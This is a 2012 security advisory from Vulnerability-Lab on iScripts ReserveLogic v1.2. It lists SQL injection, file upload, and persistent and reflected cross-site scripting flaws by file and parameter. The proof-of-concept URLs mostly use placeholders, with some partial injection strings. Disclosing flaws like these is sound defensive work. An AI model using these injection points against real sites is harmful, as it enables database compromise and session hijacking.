360 lines
No EOL
15 KiB
Text
360 lines
No EOL
15 KiB
Text
Title:
|
||
======
|
||
Reserve Logic v1.2 Booking CMS - Multiple Vulnerabilities
|
||
|
||
|
||
Date:
|
||
=====
|
||
2012-06-18
|
||
|
||
|
||
References:
|
||
===========
|
||
http://www.vulnerability-lab.com/get_content.php?id=617
|
||
|
||
|
||
VL-ID:
|
||
=====
|
||
617
|
||
|
||
|
||
Common Vulnerability Scoring System:
|
||
====================================
|
||
8.5
|
||
|
||
|
||
Introduction:
|
||
=============
|
||
iScripts ReserveLogic offers an online web based reservation system for the hospitality industry for service providers.
|
||
This turn-key reservation system allows you to start online reservation and customer management in minutes.
|
||
Flexible Reservation Software. iScripts ReserveLogic is designed to simplify the task of online booking. It provides
|
||
users a unique, intuitive and easy to use interface that improves the way people use the web today. Through personalization
|
||
and rich features, iScripts ReserveLogic enhances the entire Web experience.
|
||
Online Reservation system for:
|
||
|
||
- Hotel reservation
|
||
- Motel reservation
|
||
- Time share booking
|
||
- Bed and Breakfasts
|
||
- Vacation Rental
|
||
- Resort reservation
|
||
- Camp grounds
|
||
- Tour and Travel Company
|
||
- Open source script – No encryption
|
||
- Multiple themes and layouts
|
||
- Highly scalable
|
||
- Easy to install using an install wizard
|
||
- Easy to use interface
|
||
- Powerful administration panel
|
||
- Easy to customize
|
||
|
||
iScripts ReserveLogic can help you set up an online hotel reservation system at a very affordable price. We also provide
|
||
updates and free technical support for one year. This online reservation script is designed to improve the conversion of
|
||
your website visitors and transform them into your own customers. ReserveLogic works to increase your sales around the clock.
|
||
This open source PHP software is very scalable; it supports multiple destinations and multiple properties. So if you have a bed
|
||
and breakfast, hotel, motel, or a multi destination and property resort chain, our company’s reservation software will serve your needs.
|
||
|
||
(Copy of the Vendor Homepage: http://www.iscripts.com/reservelogic/ )
|
||
|
||
|
||
Abstract:
|
||
=========
|
||
The Vulnerability Laboratory Research Team discovered multiple different web vulnerabilites in iScripts Reserve Logic v1.2 Booking CMS.
|
||
|
||
|
||
Report-Timeline:
|
||
================
|
||
2012-04-18: Public or Non-Public Disclosure
|
||
|
||
|
||
Status:
|
||
========
|
||
Published
|
||
|
||
|
||
Affected Products:
|
||
==================
|
||
iScripts
|
||
Product: Reserve Logic (Booking) CMS v1.2
|
||
|
||
|
||
Exploitation-Technique:
|
||
=======================
|
||
Remote
|
||
|
||
|
||
Severity:
|
||
=========
|
||
Critical
|
||
|
||
|
||
Details:
|
||
========
|
||
1.1
|
||
Multiple remote blind and standard SQL Injection vulnerabilities are detected in iScripts Reserve Logic v1.2 Booking CMS.
|
||
The vulnerability allows an attacker (remote) to inject/execute own sql commands on the affected application dbms.
|
||
The vulnerabilities are located in the packagedetails.php, booking_report.php, users_report.php, editenquiries.php,
|
||
addclientlocations.php, addcustomers.php, addaccomtypeavailability.php, addspecialoffer.php & booking_report.php files.
|
||
The vulnerable bound parameters of the files are id, rghtMenu, pid & oderby. Successful exploitation of the vulnerability
|
||
results in dbms, service & application compromise.
|
||
|
||
Vulnerable Files(s):
|
||
[+] packagedetails.php
|
||
[+] booking_report.php
|
||
[+] users_report.php
|
||
[+] editenquiries.php
|
||
[+] addclientlocations.php
|
||
[+] addcustomers.php
|
||
[+] addpackages.php
|
||
[+] addaccomtypeavailability.php
|
||
[+] booking_report.php
|
||
[+] addspecialoffer.php
|
||
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] id
|
||
[+] rghtMenu
|
||
[+] pid
|
||
[+] orderby
|
||
|
||
|
||
1.2
|
||
A arbitrary file upload vulnerability is detected in iScripts Reserve Logic v1.2 Booking Content Management System.
|
||
The vulnerability allows a privileged user account to upload malicious files without restriction. The uploaded files
|
||
are not parsed & attackers can also upload for example web shells and access them out of the unrestricted web folder.
|
||
The vulnerability is located in the addlocationphotos.php (image) file. The input get saved to the unrestricted
|
||
../galleryimages/ application path. Successful exploitation of the vulnerability result in an arbitrary file upload.
|
||
|
||
Vulnerable Files(s):
|
||
[+] addlocationphotos.php
|
||
|
||
Vulnerable Module(s):
|
||
[+] ../galleryimages/
|
||
|
||
|
||
|
||
1.3
|
||
Multiple persistent input validation vulnerabilities are detected in iScripts Reserve Logic v1.2 Booking Content Management System.
|
||
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). The persistent
|
||
vulnerabilities are located in the addpackages.php, add_news.php, add_banner.php or addaccomtypeavailability.php with the bound
|
||
vulnerable parameters title & name. Exploitation requires low user inter action & privileged application user account. Successful
|
||
exploitation of the vulnerability can lead to session hijacking (admin) or stable (persistent) context manipulation.
|
||
|
||
Vulnerable Files(s):
|
||
[+] addpackages.php
|
||
[+] add_news.php
|
||
[+] add_banner.php
|
||
[+] addaccomtypeavailability.php
|
||
[+] addcustomers.php
|
||
|
||
Vulnerable Module(s):
|
||
[+] Title & Name
|
||
|
||
|
||
|
||
1.4
|
||
Multiple non persistent cross site scripting vulnerabilities are detected in iScripts Reserve Logic v1.2 Booking Content Management System.
|
||
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium or high required user inter
|
||
action or local low privileged user account. The bugs are located in the locationdetails.php, bookings.php, addpackages.php,
|
||
addaccomtypeavailability.php, add_news.php, add_banner.php & editfeedback.php files with the bound vulnerable parameters nid, id, nBId,
|
||
mbSearch, postsearch, txtkey, page & did. Successful exploitation can result in account steal, client side phishing & client-side content
|
||
request manipulation. Exploitation requires low user inter action or low privileged application user account.
|
||
|
||
Vulnerable File(s):
|
||
[+] locationdetails.php
|
||
[+] bookings.php
|
||
[+] addpackages.php
|
||
[+] add_news.php
|
||
[+] addaccomtypeavailability.php
|
||
[+] add_banner.php
|
||
[+] editfeedback.php
|
||
|
||
|
||
Vulnerable Parameter(s):
|
||
[+] nid
|
||
[+] id
|
||
[+] nBId
|
||
[+] mbSearch, postsearch & txtkey
|
||
[+] page
|
||
[+] did
|
||
|
||
|
||
Proof of Concept:
|
||
=================
|
||
1.1
|
||
The blind and standard SQL Injection vulnerabilities can be exploited by remote attacker with & without privileged user account.
|
||
User inter action is not required for exploitation. For [PATH]nstration or reproduce ...
|
||
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/packagedetails.php?pid=4+[SQL-INJECTION]AND+substring(version(),1)=5
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&[SQL-INJECTION]Union+select+1,2,3,4,5...30--%20-
|
||
0&sort=x&txtFromDate=x&txtToDate=x
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&orderby=-1%27[SQL-INJECTION]
|
||
&sort=ASC&txtFromDate=05-17-2012&txtToDate=06-16-2012
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/users_report.php?rghtMenu=rghtMenu3&orderby=[SQL-INJECTION]dDatejoin
|
||
&sort=ASC&txtFromDate=05-17-2012&txtToDate=06-16-2012
|
||
|
||
Blind SQL injection - Pre Auth
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/packagedetails.php?pid=4+[BLIND SQL-INJECTION]
|
||
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/packagedetails.php?pid=4[BLIND SQL-INJECTION]
|
||
+AND+substring(version(),1)=5
|
||
|
||
|
||
|
||
|
||
Blind SQL injection - Auth
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/editenquiries.php?id=7[BLIND SQL-INJECTION]
|
||
&postsearch=S&cmbSearch=&page=1&txtkey=
|
||
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addclientlocations.php?id=23[BLIND SQL-INJECTION]
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addcustomers.php?id=65[BLIND SQL-INJECTION]
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addcustomers.php?id=65[BLIND SQL-INJECTION]
|
||
+AND+1=2&postsearch=S&cmbSearch=&page=1&txtkey=
|
||
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5[BLIND SQL-INJECTION]
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5+AND+1=2[BLIND SQL-INJECTION]
|
||
&postsearch=S&cmbSearch=&page=1&txtkey=
|
||
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addaccomtypeavailability.php?id=72[BLIND SQL-INJECTION]
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&[BLIND SQL-INJECTION]
|
||
&sort=ASC&txtFromDate=x&txtToDate=x
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/booking_report.php?rghtMenu=rghtMenu3&AND+1=1[BLIND SQL-INJECTION]
|
||
&sort=ASC&txtFromDate=x&txtToDate=x
|
||
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addspecialoffer.php?id=4[BLIND SQL-INJECTION]
|
||
&postsearch=S&cmbSearch=&page=1&txtkey=
|
||
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addspecialoffer.php?id=4'[BLIND SQL-INJECTION]
|
||
&postsearch=S&cmbSearch=&page=1&txtkey=
|
||
|
||
|
||
1.2
|
||
The arbitrary file upload vulnerability can be exploited by local priviliged user account without required user inter action.
|
||
For demonstration or reproduce ...
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addlocationphotos.php
|
||
Execution > http://127.0.0.1:1337/reservelogic/[PATH]/admin/galleryimages/
|
||
|
||
|
||
1.3
|
||
The persistent input validation vulnerabilities can be exploited by remote attackers with low privileged user account & low
|
||
user inter action. For demonstration or reproduce ...
|
||
|
||
Note: To reproduce the issue inject your own script code to the title input fields (Title or Name) and watch the affected vulnerable output listing.
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_news.php
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_banner.php
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addaccomtypeavailability.php
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addcustomers.php
|
||
|
||
|
||
Review: Add Package - Title
|
||
|
||
<tr class="maintextCopy">
|
||
<td class="dashedline2 maintext2">Title</td>
|
||
<td class="dashedline3"><input name="txtTitle" id="txtTitle" value="\" type="text">
|
||
<iframe src="addpackages.php-Dateien/x.htm" [PERSISTENT SCRIPT CODE])' <"="" class="textbox">
|
||
<font
|
||
color="#FF0000">*</font></td>
|
||
|
||
|
||
Review: Add Banner - MainTitle
|
||
|
||
<tr><td class="dashedline2 maintext2" align="center" width="4%">1</td>
|
||
<td class="dashedline3 maintext2" align="center" width="8%"><input name="ids[]" value="9" type="checkbox"></td>
|
||
<td class="dashedline3 maintext2" width="16%">"><[PERSISTENT SCRIPT CODE] <</td>
|
||
<td class="dashedline3 maintext2" width="27%"><a href="http:///"><iframe src="banner.php-Dateien/x.htm" [PERSISTENT SCRIPT CODE])'
|
||
<"="" target="_blank" class="thumbnail"><img
|
||
|
||
|
||
Review: Special Offer - Title
|
||
|
||
<tr class="maintextCopy">
|
||
<td class="dashedline2 maintext2" width="26%">Title <font color="#FF0000">*</font></td>
|
||
<td class="dashedline3" width="74%"><input name="txtTitle" class="textbox" size="47" value="\"
|
||
type="text"><iframe src="addspecialoffer.php-Dateien/x.htm" [PERSISTENT SCRIPT CODE]' <"=""></td>
|
||
|
||
|
||
|
||
1.4
|
||
The client side cross site scripting vulnerabilities can be exploited by remote attacker with medium or high required user inter action.
|
||
For [PATH]nstration or reproduce ...
|
||
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/locationdetails.php?did=[CROSS SITE SCRIPTING]
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/bookings.php?page=[CROSS SITE SCRIPTING]
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=S&cmbSearch=&page=1&txtkey=[CROSS SITE SCRIPTING]
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=S&cmbSearch=&page=[CROSS SITE SCRIPTING]&txtkey=
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=S&cmbSearch=[CROSS SITE SCRIPTING]&page=1&txtkey=
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=5&postsearch=[CROSS SITE SCRIPTING]&cmbSearch=&page=1&txtkey=
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addpackages.php?id=[CROSS SITE SCRIPTING]
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_news.php?nid=[CROSS SITE SCRIPTING]&page=1
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/addaccomtypeavailability.php?id=[CROSS SITE SCRIPTING]&postsearch=S&cmbSearch=&page=1&txtkey=
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/add_banner.php?nBId=[CROSS SITE SCRIPTING]&page=1
|
||
http://127.0.0.1:1337/reservelogic/[PATH]/admin/editfeedback.php?id=[CROSS SITE SCRIPTING]&postsearch=S&cmbSearch=&page=1&txtkey=
|
||
|
||
|
||
Risk:
|
||
=====
|
||
1.1
|
||
The security risk of the sql injection vulnerabilities are estimated as critical.
|
||
|
||
1.2
|
||
The security risk of the arbitrary file upload vulnerability is estimated as medium(+).
|
||
|
||
1.3
|
||
The security risk of the persistent input validation vulnerabilities are estiamted as medium(+).
|
||
|
||
1.4
|
||
The security risk of the non-persistent cross site scripting vulnerabilities are estiamted as low(+).
|
||
|
||
|
||
Credits:
|
||
========
|
||
Vulnerability Laboratory [Research Team] - Ibrahim El-Sayed [storm] (strom@vulnerability-lab.com)
|
||
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)
|
||
|
||
|
||
Disclaimer:
|
||
===========
|
||
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||
may not apply.
|
||
|
||
Domains: www.vulnerability-lab.com - www.vuln-lab.com
|
||
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
||
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||
|
||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
|
||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
||
|
||
Copyright © 2012 Vulnerability-Lab
|
||
|
||
|
||
|
||
--
|
||
VULNERABILITY RESEARCH LABORATORY TEAM
|
||
Website: www.vulnerability-lab.com
|
||
Mail: research@vulnerability-lab.com |